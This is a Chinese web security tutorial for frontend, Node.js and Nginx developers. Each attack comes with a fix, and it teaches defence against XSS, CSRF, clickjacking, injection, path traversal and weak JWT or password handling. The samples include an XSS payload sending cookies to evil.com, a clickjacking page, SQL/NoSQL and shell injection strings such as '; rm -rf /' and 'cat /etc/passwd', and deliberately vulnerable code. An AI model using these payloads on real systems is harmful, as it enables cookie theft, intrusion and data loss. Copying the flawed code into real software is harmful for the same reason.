🛡️ 前端 + Node.js + Nginx 安全防护终极指南:从入门到实战(2025最新版)
🔒 一句话总结 :安全不是某一个环节的事,而是前端 → 后端 → 服务器 三层防线的协同作战。本文用大量代码示例 和通俗比喻,带你逐个击破每个安全威胁。
📑 文章目录
| 章节 | 内容 | 涉及层 |
|---|---|---|
| 一 | 安全防护全景图:三层防线架构 | 全栈 |
| 二 | XSS 攻击:前端头号杀手 | 前端 |
| 三 | CSRF 攻击:假冒你的身份 | 前端+后端 |
| 四 | 点击劫持:看不见的陷阱 | 前端 |
| 五 | 内容安全策略(CSP):白名单制度 | 前端+Nginx |
| 六 | SQL/NoSQL 注入:数据库的噩梦 | 后端 Node.js |
| 七 | 命令注入:服务器的后门 | 后端 Node.js |
| 八 | 身份认证与 JWT 安全 | 后端 Node.js |
| 九 | 密码加密与存储 | 后端 Node.js |
| 十 | 限流与防暴力破解 | 后端 + Nginx |
| 十一 | HTTP 安全头:Helmet 实战 | 后端 Node.js |
| 十二 | HTTPS 与 TLS 配置 | Nginx |
| 十三 | Nginx 反向代理安全加固 | Nginx |
| 十四 | Nginx WAF:ModSecurity 实战 | Nginx |
| 十五 | 文件上传安全:前后端协作 | 全栈 |
| 十六 | 日志、监控与应急响应 | 全栈 |
| 十七 | 安全 Checklist:上线前必检清单 | 全栈 |
| 十八 | 实战:从零搭建安全项目骨架 | 全栈 |
一、安全防护全景图:三层防线架构
🏠 通俗比喻:想象你的应用是一栋大厦。
- Nginx = 大厦的门卫和围墙(第一道防线)
- Node.js 后端 = 大厦内部的安保系统(第二道防线)
- 前端 = 每个房间里的保险箱(第三道防线)
三层防线层层递进,任何一层被攻破,其他层仍能保护核心数据。
1.1 三层防线架构图
┌─────────────────────────────────────────────────────────┐
│ 用户浏览器(客户端) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ 第三道防线:前端安全 │ │
│ │ • 输入过滤/转义 • CSP策略 • HttpOnly Cookie │ │
│ │ • CSRF Token • SRI校验 • 输入校验 │ │
│ └──────────────────────┬────────────────────────────┘ │
└─────────────────────────┼───────────────────────────────┘
│ HTTPS
┌─────────────────────────▼───────────────────────────────┐
│ Nginx 反向代理(网关层) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ 第一道防线:Nginx 安全 │ │
│ │ • HTTPS/TLS • 限流限并发 • WAF防火墙 │ │
│ │ • 隐藏后端信息 • 请求过滤 • DDoS防护 │ │
│ │ • 安全响应头 • IP黑白名单 • 日志审计 │ │
│ └──────────────────────┬────────────────────────────┘ │
└─────────────────────────┼───────────────────────────────┘
│ 内部转发
┌─────────────────────────▼───────────────────────────────┐
│ Node.js 后端(应用层) │
│ ┌───────────────────────────────────────────────────┐ │
│ │ 第二道防线:后端安全 │ │
│ │ • 参数校验/参数化查询 • JWT/Session安全 │ │
│ │ • bcrypt密码加密 • Helmet安全头 │ │
│ │ • CORS白名单 • 限流中间件 │ │
│ │ • 日志记录 • 错误处理 │ │
│ └───────────────────────────────────────────────────┘ │
│ │ │
│ ┌────▼────┐ │
│ │ 数据库 │ │
│ └─────────┘ │
└─────────────────────────────────────────────────────────┘
1.2 常见攻击类型与防线对应
| 攻击类型 | 危险等级 | 主要防线 | 辅助防线 |
|---|---|---|---|
| XSS(跨站脚本) | 🔴 高危 | 前端转义 + CSP | 后端过滤 + Helmet |
| CSRF(跨站请求伪造) | 🔴 高危 | 后端 Token 验证 | SameSite Cookie |
| SQL/NoSQL 注入 | 🔴 高危 | 后端参数化查询 | Nginx WAF |
| 命令注入 | 🔴 高危 | 后端输入过滤 | Nginx WAF |
| 暴力破解 | 🟡 中危 | 后端限流 | Nginx 限流 |
| DDoS 攻击 | 🔴 高危 | Nginx 限流 | CDN + 云防护 |
| 中间人攻击 | 🔴 高危 | Nginx HTTPS | HSTS 头 |
| 点击劫持 | 🟡 中危 | 前端 X-Frame-Options | Helmet 自动设置 |
| 文件上传攻击 | 🔴 高危 | 后端文件校验 | Nginx 执行限制 |
二、XSS 攻击:前端头号杀手
🎭 通俗比喻:XSS 就像一个骗子在你的公告栏上贴了一张假通知,其他人看到后会按照假通知的内容去做,比如把自己的银行卡号填到骗子的表格里。
攻击者把恶意 JavaScript 代码注入到你的网页中,其他用户浏览时就会自动执行这些代码。
2.1 XSS 的三种类型
类型一:反射型 XSS(非持久型)
场景:用户点击一个恶意链接,URL 参数中包含恶意脚本,服务器直接把参数拼到页面中返回。
javascript
// ❌ 危险写法:直接把 URL 参数插入页面
app.get('/search', (req, res) => {
res.send(`搜索结果:${req.query.keyword}`);
});
// 攻击者构造的恶意链接:
// https://example.com/search?keyword=<script>document.location='https://evil.com?cookie='+document.cookie</script>
// ✅ 安全写法:对输出进行 HTML 转义
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return str.replace(/[&<>"'\/]/g, c => map[c]);
}
app.get('/search', (req, res) => {
const safe = escapeHtml(req.query.keyword || '');
res.send(`搜索结果:${safe}`);
});
类型二:存储型 XSS(持久型)
场景 :攻击者在评论区提交恶意脚本,服务器存入数据库。所有用户查看评论时都会执行恶意代码。这是最危险的 XSS 类型。
javascript
// ❌ 危险写法:直接渲染用户输入
function renderComments(comments) {
comments.forEach(c => {
document.getElementById('list').innerHTML +=
`<div class="comment">${c.content}</div>`; // 直接插入,危险!
});
}
// ✅ 安全写法:使用 textContent 代替 innerHTML
function renderComments(comments) {
comments.forEach(c => {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = c.content; // 自动转义,安全!
document.getElementById('list').appendChild(div);
});
}
类型三:DOM 型 XSS
场景:前端 JavaScript 直接读取 URL 或用户输入并插入 DOM,不经过服务器。
javascript
// ❌ 危险写法:从 URL hash 中读取内容并插入页面
const content = decodeURIComponent(location.hash.slice(1));
document.getElementById('output').innerHTML = content;
// ✅ 安全写法:使用 textContent 或 DOMPurify 库
import DOMPurify from 'dompurify';
const content = decodeURIComponent(location.hash.slice(1));
document.getElementById('output').innerHTML = DOMPurify.sanitize(content);
// DOMPurify 会过滤掉 <script>、onerror 等危险内容,保留安全的 HTML 标签
2.2 前端 XSS 防护速查表
| 方法 | 说明 | 代码示例 |
|---|---|---|
| textContent | 纯文本插入,自动转义 | el.textContent = userInput |
| DOMPurify | 富文本消毒库 | DOMPurify.sanitize(html) |
| Vue {{ }} | Vue 自动转义 | {{ message }} 或 v-text |
| React { } | React 自动转义 | {message}(默认转义) |
| 避免 v-html | Vue 中慎用 | 必须用时配合 DOMPurify |
| 避免 dangerouslySetInnerHTML | React 中慎用 | 必须用时配合 DOMPurify |
💡 黄金法则 :永远不要信任用户输入。无论是从 URL、表单、Cookie 还是 localStorage 获取的数据,在插入页面前都要进行转义或消毒。
三、CSRF 攻击:假冒你的身份
🎫 通俗比喻:你刚在银行 APP 登录过,浏览器保存了你的登录凭证(Cookie)。攻击者给你发了一个恶意网页,这个网页会自动向银行发送转账请求。因为你的浏览器会自动带上 Cookie,银行以为是你的操作。
3.1 CSRF 攻击流程
攻击者构造恶意页面 受害者浏览器 目标网站
│ │ │
│ 1.诱骗受害者点击链接 │ │
│───────────────────────>│ │
│ │ 2.自动发请求+Cookie │
│ │─────────────────────>│
│ │ │
│ │ 3.Cookie验证通过 │
│ │<─────────────────────│
│ │ │
│ 4.攻击者目的达成 │ │
3.2 后端防护:CSRF Token(推荐)
javascript
// 安装:npm install csurf cookie-parser
const express = require('express');
const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const app = express();
app.use(cookieParser());
// 配置 CSRF 保护
const csrfProtection = csrf({ cookie: true });
// 给前端下发 CSRF Token
app.get('/api/csrf-token', csrfProtection, (req, res) => {
res.json({ csrfToken: req.csrfToken() });
});
// 所有修改操作的接口都需要 CSRF Token
app.post('/api/transfer', csrfProtection, (req, res) => {
res.json({ success: true, message: '转账成功' });
});
app.listen(3000);
3.3 前端配合:每次请求携带 Token
javascript
// 前端:获取 CSRF Token 并在请求中携带
let csrfToken = '';
// 页面加载时获取 Token
fetch('/api/csrf-token', { credentials: 'same-origin' })
.then(res => res.json())
.then(data => { csrfToken = data.csrfToken; });
// 每次发送 POST/PUT/DELETE 请求时携带 Token
async function transferMoney(to, amount) {
const res = await fetch('/api/transfer', {
method: 'POST',
credentials: 'same-origin',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': csrfToken // 在请求头中携带 CSRF Token
},
body: JSON.stringify({ to, amount })
});
return res.json();
}
3.4 SameSite Cookie:最简单的防护
javascript
// 后端设置 Cookie 时添加 SameSite 属性
app.use(session({
secret: 'your-secret-key',
cookie: {
httpOnly: true, // 防止 JS 读取 Cookie
secure: true, // 仅 HTTPS 传输
sameSite: 'strict' // 关键:禁止跨站发送 Cookie
// 'strict' = 完全禁止跨站
// 'lax' = 允许顶级导航的 GET 请求(推荐)
// 'none' = 允许跨站(必须配合 secure)
}
}));
// 或者手动设置 Cookie
res.cookie('sessionId', token, {
httpOnly: true,
secure: true,
sameSite: 'lax',
maxAge: 24 * 60 * 60 * 1000 // 24小时
});
💡 最佳实践 :
SameSite=Lax+CSRF Token双重防护。SameSite 是浏览器层面的保护,CSRF Token 是应用层面的保护,互为补充。
四、点击劫持:看不见的陷阱
🎯 通俗比喻:攻击者在"点击领取红包"按钮下面,放了一个透明的"确认转账"按钮。你以为在点红包,其实在转账。这就是点击劫持------你看不到真正的按钮,但你的点击被劫持了。
4.1 攻击原理图解
┌──────────────────────────────────┐
│ 攻击者的恶意页面 │
│ │
│ ┌────────────────────────────┐ │
│ │ "点击领取 iPhone 18!" │ │ ← 用户看到的假按钮
│ │ [假按钮] │ │
│ └────────────────────────────┘ │
│ │
│ ┌────────────────────────────┐ │
│ │ 透明 iframe (opacity:0.01) │ │ ← 用户看不到
│ │ ┌──────────────────────┐ │ │
│ │ │ 银行转账确认按钮 │ │ │ ← 实际被点击的按钮
│ │ │ [确认转账 ¥10000] │ │ │
│ │ └──────────────────────┘ │ │
│ └────────────────────────────┘ │
└──────────────────────────────────┘
用户点击"领取" → 实际点击了银行的"确认转账"
4.2 攻击代码示例(了解攻击才能防御)
html
<!-- 攻击者的恶意页面 -->
<style>
.danger-zone {
position: absolute;
top: 0; left: 0;
width: 500px; height: 300px;
opacity: 0.01; /* 几乎透明,肉眼不可见 */
z-index: 10; /* 覆盖在假按钮上方 */
}
.fake-btn {
position: absolute;
top: 100px; left: 200px;
z-index: 5;
}
</style>
<button class="fake-btn">🎁 点击领取 iPhone 18!</button>
<iframe class="danger-zone" src="https://bank.com/transfer?to=hacker&amount=10000"></iframe>
4.3 三种防护方案
方案一:Nginx 设置 X-Frame-Options(最简单,推荐)
nginx
# nginx.conf - 禁止被 iframe 嵌入
server {
# DENY = 完全禁止任何网站嵌入(最安全)
# SAMEORIGIN = 只允许同源网站嵌入(推荐)
add_header X-Frame-Options "SAMEORIGIN" always;
# 更现代的方式:使用 CSP 的 frame-ancestors
add_header Content-Security-Policy "frame-ancestors 'self';" always;
}
方案二:Node.js 使用 Helmet 自动设置
javascript
const helmet = require('helmet');
// 方式1:单独使用 frameguard
app.use(helmet.frameguard({ action: 'sameorigin' }));
// 方式2:使用完整 helmet(推荐,包含多项安全头)
app.use(helmet());
// helmet() 默认会设置 X-Frame-Options: SAMEORIGIN
方案三:前端 JS 检测(兜底方案)
javascript
// 如果发现页面被嵌在 iframe 中,自动跳出
if (window.top !== window.self) {
window.top.location = window.self.location;
}
// 更安全的写法:使用 CSP frame-ancestors + JS 兜底
// 因为有些旧浏览器不支持 X-Frame-Options
| 方案 | 防护层级 | 浏览器兼容 | 推荐度 |
|---|---|---|---|
| X-Frame-Options | Nginx/后端 | 几乎所有 | ⭐⭐⭐⭐ |
| CSP frame-ancestors | Nginx/后端 | 现代浏览器 | ⭐⭐⭐⭐⭐ |
| JS 检测跳出 | 前端 | 所有 | ⭐⭐⭐(兜底) |
| Helmet 自动设置 | 后端 | 所有 | ⭐⭐⭐⭐⭐ |
五、内容安全策略(CSP):白名单制度
📋 通俗比喻:CSP 就像公司的门禁制度------只有白名单上的人(脚本来源)才能进入。不在白名单上的脚本一律拒绝执行。即使黑客成功注入了 script 标签,浏览器也会拦截它。
5.1 CSP 指令详解
| 指令 | 含义 | 示例 |
|---|---|---|
| default-src | 默认策略(其他指令的兜底) | 'self' |
| script-src | JavaScript 来源白名单 | 'self' cdn.jsdelivr.net |
| style-src | CSS 来源白名单 | 'self' 'unsafe-inline' |
| img-src | 图片来源白名单 | 'self' data: https: |
| font-src | 字体来源白名单 | 'self' fonts.gstatic.com |
| connect-src | AJAX/WebSocket 来源 | 'self' api.example.com |
| frame-ancestors | 允许嵌入的页面(替代X-Frame-Options) | 'none' |
| form-action | 表单提交目标 | 'self' |
| base-uri | <base> 标签限制 | 'self' |
| report-uri | 违规报告地址 | /csp-report |
5.2 Nginx 配置 CSP(推荐方式)
nginx
server {
# 完整的 CSP 配置
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' https://cdn.jsdelivr.net;
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
" always; # always 确保所有响应都带此头,包括错误响应
}
5.3 Node.js + Helmet 配置 CSP
javascript
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.jsdelivr.net"],
styleSrc: ["'self'", "'unsafe-inline'", "https://fonts.googleapis.com"],
imgSrc: ["'self'", "data:", "https:"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
}));
5.4 调试技巧:先用 Report-Only 模式
nginx
# ✅ 第一步:先用 Report-Only 观察,不影响正常使用
server {
add_header Content-Security-Policy-Report-Only "
default-src 'self';
script-src 'self';
report-uri /csp-report;
" always;
}
# 收集 CSP 违规报告
location /csp-report {
access_log /var/log/nginx/csp.log;
return 204;
}
# ✅ 第二步:观察一周后,确认无误再切换到正式模式
# 把 Content-Security-Policy-Report-Only 改为 Content-Security-Policy
💡 实战建议 :先用
Content-Security-Policy-Report-Only模式运行一周,收集违规报告分析后再切换到正式 CSP,避免误拦截正常功能导致页面白屏。
5.5 场景举例:React 项目配置 CSP
nginx
# React 项目通常需要 'unsafe-inline' 和 'unsafe-eval'(开发环境)
# 生产环境应使用 nonce 或 hash 替代
server {
# 开发环境 CSP
add_header Content-Security-Policy "
default-src 'self';
script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
connect-src 'self' http://localhost:* ws://localhost:*;
" always;
# 生产环境 CSP(更严格)
# script-src 使用 nonce 动态生成
# 需配合后端生成随机 nonce 值
六、SQL/NoSQL 注入:数据库的噩梦
💉 通俗比喻 :你去医院挂号,护士问你"姓名",你回答
张三'; DROP TABLE patients; --。如果系统直接把你的回答拼接到 SQL 中执行,整个患者表就被删了。这就是 SQL 注入------通过输入恶意内容来操控数据库。
6.1 SQL 注入攻击演示
场景:用户登录
javascript
// ❌ 危险写法:直接拼接 SQL 字符串
app.post('/login', (req, res) => {
const { username, password } = req.body;
// 攻击者输入:
// username = "admin' --"
// password = "随便填"
//
// 实际执行的 SQL:
// SELECT * FROM users WHERE username = 'admin' --' AND password = '随便填'
// ^^^^^^^^ 注释掉了密码验证!
const sql = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(sql, (err, results) => {
if (results.length > 0) {
res.json({ success: true, user: results[0] }); // 攻击者以admin身份登录!
}
});
});
防御方案一:参数化查询(最推荐)
javascript
// ✅ 安全写法:使用参数化查询(Prepared Statement)
app.post('/login', (req, res) => {
const { username, password } = req.body;
// ? 是占位符,数据库驱动会自动处理转义
// 输入 "admin' --" 会被当作普通字符串处理,不会被解析为SQL语法
const sql = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(sql, [username, password], (err, results) => {
if (results.length > 0) {
res.json({ success: true });
} else {
res.status(401).json({ error: '用户名或密码错误' });
}
});
});
防御方案二:使用 ORM(如 Prisma)
javascript
// ✅ 更安全:使用 Prisma ORM,天然防注入
const { PrismaClient } = require('@prisma/client');
const prisma = new PrismaClient();
app.post('/login', async (req, res) => {
const { username, password } = req.body;
// Prisma 内部自动使用参数化查询
const user = await prisma.user.findUnique({
where: { username }
});
if (user && await bcrypt.compare(password, user.password)) {
res.json({ success: true });
} else {
res.status(401).json({ error: '用户名或密码错误' });
}
});
6.2 NoSQL 注入攻击(MongoDB)
场景:用户登录(MongoDB)
javascript
// ❌ 危险写法:直接使用用户输入作为查询条件
app.post('/login', (req, res) => {
const { username, password } = req.body;
// 攻击者发送的 JSON:
// { "username": {"$ne": ""}, "password": {"$ne": ""} }
//
// 实际执行的 MongoDB 查询:
// db.users.findOne({ username: { $ne: "" }, password: { $ne: "" } })
// 意思是:找到 username 不为空 且 password 不为空的第一条记录
// 结果:直接登录了第一个用户!
db.collection('users').findOne({ username, password }, (err, user) => {
if (user) res.json({ success: true });
});
});
防御方案:express-validator 严格校验
javascript
const { body, validationResult } = require('express-validator');
// ✅ 安全写法:严格校验输入类型 + bcrypt 比对密码
app.post('/login', [
// 1. 校验 username 必须是字符串、非空、去空格
body('username').isString().trim().notEmpty().escape(),
// 2. 校验 password 必须是字符串、非空
body('password').isString().notEmpty()
], async (req, res) => {
// 3. 检查校验结果
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
const { username, password } = req.body;
// 4. 强制转换为字符串(双保险)
const user = await db.collection('users').findOne({
username: String(username)
});
// 5. 使用 bcrypt 比对密码(永远不比对明文)
if (!user || !await bcrypt.compare(String(password), user.password)) {
return res.status(401).json({ error: '用户名或密码错误' });
}
res.json({ success: true });
});
6.3 SQL 注入速查对照表
| 场景 | ❌ 危险写法 | ✅ 安全写法 |
|---|---|---|
| 查询 | 拼接字符串 | 参数化查询 / ORM |
| 排序 | 直接用用户输入 | 白名单校验列名 |
| 表名 | 动态拼接表名 | 白名单映射表名 |
| LIKE | 直接拼接 % | 参数化 + LIKE |
| IN | 拼接 IN 列表 | 参数化 IN 查询 |
💡 核心原则 :参数化查询是防止 SQL 注入的银弹。永远不要手动拼接 SQL!使用 ORM(Prisma/Sequelize/TypeORM)可以进一步降低风险。
七、命令注入:服务器的后门
🖥️ 通俗比喻 :你做了一个"输入 IP 地址检测网络"的功能。用户输入
127.0.0.1,服务器执行ping 127.0.0.1,这很正常。但攻击者输入127.0.0.1; rm -rf /,服务器实际执行了ping 127.0.0.1; rm -rf /,整台服务器被清空!
7.1 命令注入攻击演示
javascript
// ❌ 极度危险:直接拼接执行系统命令
const { exec } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// 攻击者输入:127.0.0.1; cat /etc/passwd
// 实际执行:ping -c 4 127.0.0.1; cat /etc/passwd
// 两个命令都会被执行!
exec(`ping -c 4 ${host}`, (err, stdout) => {
res.send(`<pre>${stdout}</pre>`);
});
});
7.2 三种防御方案
方案一:使用 execFile(不经过 shell,推荐)
javascript
// ✅ 安全:execFile 不经过 shell 解析,无法注入额外命令
const { execFile } = require('child_process');
app.get('/ping', (req, res) => {
const host = req.query.host;
// host 被作为单个参数传递,; rm -rf / 会被当作 ping 的参数而非新命令
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) return res.status(400).json({ error: '无效的地址' });
res.send(`<pre>${stdout}</pre>`);
});
});
方案二:严格白名单校验(最安全)
javascript
// ✅ 最安全:只允许合法的 IP 或域名格式
app.get('/ping', (req, res) => {
const host = req.query.host;
// IP 地址白名单校验
const ipRegex = /^(\d{1,3}\.){3}\d{1,3}$/;
// 域名白名单校验
const domainRegex = /^[a-zA-Z0-9]([a-zA-Z0-9-]*[a-zA-Z0-9])?(\.[a-zA-Z]{2,})+$/;
if (!ipRegex.test(host) && !domainRegex.test(host)) {
return res.status(400).json({ error: '请输入有效的 IP 地址或域名' });
}
execFile('ping', ['-c', '4', host], (err, stdout) => {
if (err) return res.status(400).json({ error: '无法访问目标地址' });
res.json({ result: stdout });
});
});
方案三:使用 safer-buffer + 参数化(通用方案)
javascript
// ✅ 通用方案:使用数组参数 + escape
const { execFile } = require('child_process');
// 需要执行复杂命令时,使用 spawn + 参数数组
const { spawn } = require('child_process');
function safePing(host) {
return new Promise((resolve, reject) => {
const proc = spawn('ping', ['-c', '4', host]);
let output = '';
proc.stdout.on('data', (data) => { output += data; });
proc.stderr.on('data', (data) => { output += data; });
proc.on('close', (code) => {
if (code === 0) resolve(output);
else reject(new Error('Ping failed'));
});
});
}
7.3 路径遍历攻击(命令注入的亲戚)
javascript
// ❌ 危险写法:直接使用用户输入拼接文件路径
app.get('/download', (req, res) => {
const filename = req.query.file;
// 攻击者输入:../../../etc/passwd
// 实际路径:/var/www/uploads/../../../etc/passwd → /etc/passwd
res.sendFile(`/var/www/uploads/${filename}`);
});
// ✅ 安全写法:使用 path.resolve + 起始目录校验
const path = require('path');
app.get('/download', (req, res) => {
const filename = req.query.file;
const uploadsDir = path.resolve('/var/www/uploads');
const filePath = path.resolve(uploadsDir, filename);
// 关键检查:确保解析后的路径仍在 uploadsDir 下
if (!filePath.startsWith(uploadsDir + path.sep)) {
return res.status(403).json({ error: '禁止访问该路径' });
}
// 额外检查:限制文件扩展名
const allowedExt = ['.pdf', '.jpg', '.png', '.doc', '.docx', '.xls', '.xlsx'];
if (!allowedExt.includes(path.extname(filePath).toLowerCase())) {
return res.status(400).json({ error: '不支持的文件类型' });
}
res.sendFile(filePath);
});
💡 核心原则 :永远不要让用户输入直接进入 shell 命令。优先使用 execFile/spawn + 参数数组,配合白名单校验。
八、身份认证与 JWT 安全
🔑 通俗比喻:JWT 就像一张电子身份证。你登录成功后,服务器给你发一张"身份证"(Token),之后每次请求你都要出示这张身份证。但如果身份证保管不当(比如算法设为 none、密钥太简单),小偷就可以伪造身份证。
8.1 JWT 的结构
JWT = Header.Payload.Signature
Header: { "alg": "HS256", "typ": "JWT" } → 算法和类型
Payload: { "userId": 123, "exp": 1717000000 } → 数据(不要存敏感信息!)
Signature: HMACSHA256(base64(Header) + "." + base64(Payload), secret) → 签名
示例 Token:
eyJhbGciOiJIUzI1NiJ9.eyJ1c2VySWQiOjEyMywiZXhwIjoxNzE3MDAwMDAwfQ.签名部分
8.2 JWT 安全配置完整示例
javascript
const jwt = require('jsonwebtoken');
// ❌ 危险配置示例
const badToken = jwt.sign({ userId: 123 }, '123456'); // 密钥太简单
const worseToken = jwt.sign({ userId: 123 }, 'secret',
{ algorithm: 'none' }); // 无签名!极度危险!
// ✅ 安全配置
const JWT_SECRET = process.env.JWT_SECRET; // 至少32位随机字符串
const JWT_REFRESH_SECRET = process.env.JWT_REFRESH_SECRET; // 不同于 Access Token
// 生成 Access Token(短期,15分钟)
function generateAccessToken(userId) {
return jwt.sign(
{ userId, type: 'access' },
JWT_SECRET,
{
algorithm: 'HS256',
expiresIn: '15m', // 15分钟过期
issuer: 'myapp',
audience: 'myapp-users'
}
);
}
// 生成 Refresh Token(长期,7天)
function generateRefreshToken(userId) {
return jwt.sign(
{ userId, type: 'refresh' },
JWT_REFRESH_SECRET, // 不同密钥!
{ algorithm: 'HS256', expiresIn: '7d' }
);
}
// 认证中间件
function authenticate(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader?.startsWith('Bearer ')) {
return res.status(401).json({ error: '未提供认证令牌' });
}
const token = authHeader.split(' ')[1];
try {
const decoded = jwt.verify(token, JWT_SECRET, {
algorithms: ['HS256'], // ⚠️ 限制算法,防止算法混淆攻击
issuer: 'myapp',
audience: 'myapp-users'
});
if (decoded.type !== 'access') {
return res.status(401).json({ error: '无效的令牌类型' });
}
req.userId = decoded.userId;
next();
} catch (err) {
if (err.name === 'TokenExpiredError') {
return res.status(401).json({ error: '令牌已过期', code: 'TOKEN_EXPIRED' });
}
return res.status(401).json({ error: '无效的令牌' });
}
}
8.3 Token 黑名单(支持主动撤销)
javascript
const redis = require('redis');
const client = redis.createClient();
// 登出时将 Token 加入黑名单
app.post('/api/logout', authenticate, async (req, res) => {
const token = req.headers.authorization.split(' ')[1];
const decoded = jwt.decode(token);
// 设置黑名单过期时间 = Token 剩余有效时间
const ttl = decoded.exp - Math.floor(Date.now() / 1000);
if (ttl > 0) {
await client.setEx(`blacklist:${token}`, ttl, '1');
}
res.json({ success: true, message: '已登出' });
});
// 在认证中间件中检查黑名单
async function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: '未提供令牌' });
// 检查黑名单
const isBlacklisted = await client.get(`blacklist:${token}`);
if (isBlacklisted) {
return res.status(401).json({ error: '令牌已失效' });
}
// ... 正常验证逻辑
}
8.4 JWT 安全要点总结
| 要点 | 说明 | 代码示例 |
|---|---|---|
| 密钥强度 | 至少32位随机字符串 | 使用 crypto.randomBytes(64) |
| 算法白名单 | 限制为 HS256/RS256 | algorithms: 'HS256' |
| Access Token 短期 | 15分钟过期 | expiresIn: '15m' |
| Refresh Token 长期 | 7天过期 | expiresIn: '7d' |
| 不存敏感信息 | Payload 可被 Base64 解码 | 只存 userId 等标识 |
| Token 黑名单 | 支持主动撤销 | Redis 存储黑名单 |
| HTTPS 传输 | 防止 Token 被窃取 | Nginx 强制 HTTPS |
九、密码加密与存储
🔐 通俗比喻:密码不能明文存储,就像你不能把家门钥匙直接放在门口。bcrypt 就像是给钥匙套上一个特制的保险箱------即使保险箱被偷走了,没有特定工具也无法还原出原来的钥匙。
9.1 为什么不能用 MD5/SHA256?
javascript
// ❌ 不安全:MD5 已经可以被彩虹表秒破
const md5 = require('md5');
const hashed = md5('password123'); // 期望加密,但 MD5 太快了
// 问题1:MD5 速度太快,GPU 每秒可以计算数十亿次
// 问题2:相同的密码永远产生相同的哈希值(没有盐)
// 问题3:彩虹表可以反查:https://www.md5online.org
// ❌ 不安全:SHA256 也不够
const crypto = require('crypto');
const hashed = crypto.createHash('sha256').update('password123').digest('hex');
// 问题:仍然太快,仍然可以暴力破解
// ✅ 安全:bcrypt(专为密码设计)
const bcrypt = require('bcrypt');
// bcrypt 的优势:
// 1. 自带盐(salt),相同密码产生不同哈希
// 2. 计算慢(故意设计的!),让暴力破解成本极高
// 3. cost factor 可调节,随硬件升级提高安全性
9.2 bcrypt 完整实现
javascript
const bcrypt = require('bcrypt');
// ===== 注册:加密密码 =====
async function register(username, password) {
// 1. 密码强度校验
const errors = validatePassword(password);
if (errors.length > 0) {
throw new Error(errors.join(', '));
}
// 2. 使用 bcrypt 加密(cost factor = 12)
const saltRounds = 12; // 推荐 10-12,越大越安全但越慢
const hashedPassword = await bcrypt.hash(password, saltRounds);
// 3. 存入数据库
await db.collection('users').insertOne({
username,
password: hashedPassword, // 存储加密后的密码
createdAt: new Date()
});
console.log('注册成功');
}
// ===== 登录:验证密码 =====
async function login(username, password) {
// 1. 查找用户
const user = await db.collection('users').findOne({ username });
if (!user) {
// ⚠️ 不要提示"用户不存在",统一提示"用户名或密码错误"
// 避免攻击者枚举用户名
throw new Error('用户名或密码错误');
}
// 2. 使用 bcrypt 比对密码
const isValid = await bcrypt.compare(password, user.password);
if (!isValid) {
throw new Error('用户名或密码错误');
}
// 3. 生成 JWT Token
return {
accessToken: generateAccessToken(user._id),
refreshToken: generateRefreshToken(user._id)
};
}
// ===== 密码强度校验 =====
function validatePassword(password) {
const errors = [];
if (password.length < 8) errors.push('密码至少8位');
if (password.length > 128) errors.push('密码最多128位');
if (!/[A-Z]/.test(password)) errors.push('需要包含大写字母');
if (!/[a-z]/.test(password)) errors.push('需要包含小写字母');
if (!/\d/.test(password)) errors.push('需要包含数字');
if (!/[!@#$%^&*(),.?":{}|<>]/.test(password)) errors.push('需要包含特殊字符');
return errors;
}
// ===== 修改密码 =====
async function changePassword(userId, oldPassword, newPassword) {
const user = await db.collection('users').findById(userId);
// 验证旧密码
const isValid = await bcrypt.compare(oldPassword, user.password);
if (!isValid) throw new Error('旧密码不正确');
// 校验新密码强度
const errors = validatePassword(newPassword);
if (errors.length > 0) throw new Error(errors.join(', '));
// 新密码不能和旧密码相同
const isSame = await bcrypt.compare(newPassword, user.password);
if (isSame) throw new Error('新密码不能与旧密码相同');
// 加密新密码
const hashedPassword = await bcrypt.hash(newPassword, 12);
await db.collection('users').updateOne(
{ _id: userId },
{ $set: { password: hashedPassword, updatedAt: new Date() } }
);
}
9.3 密码加密方案对比
| 方案 | 安全性 | 速度 | 推荐度 |
|---|---|---|---|
| MD5 | ❌ 已被破解 | 极快(缺点) | ⛔ 禁止使用 |
| SHA256 | ⚠️ 不够安全 | 快(缺点) | ❌ 不推荐 |
| bcrypt | ✅ 安全 | 慢(优点) | ⭐⭐⭐⭐⭐ |
| scrypt | ✅ 更安全 | 更慢 | ⭐⭐⭐⭐ |
| argon2 | ✅ 最安全 | 可调节 | ⭐⭐⭐⭐⭐ |
十、HTTPS / SSL/TLS 配置:传输层加密
🔒 通俗比喻:HTTP 就像寄明信片------经过的每个人都能看到内容。HTTPS 就像把信装进密封的信封里,只有收件人能拆开。没有 HTTPS,你输入的密码、Token 在传输过程中都是裸奔的。
10.1 Let's Encrypt 免费证书 + 自动续期
nginx
# 第一步:安装 certbot(CentOS/RHEL)
# yum install certbot python3-certbot-nginx
# Ubuntu/Debian
# apt install certbot python3-certbot-nginx
# 第二步:申请免费 SSL 证书(自动配置 Nginx)
# sudo certbot --nginx -d example.com -d www.example.com
# certbot 会自动修改你的 Nginx 配置,添加 SSL 相关设置
# 证书有效期 90 天,certbot 会自动续期
# 第三步:测试自动续期
# sudo certbot renew --dry-run
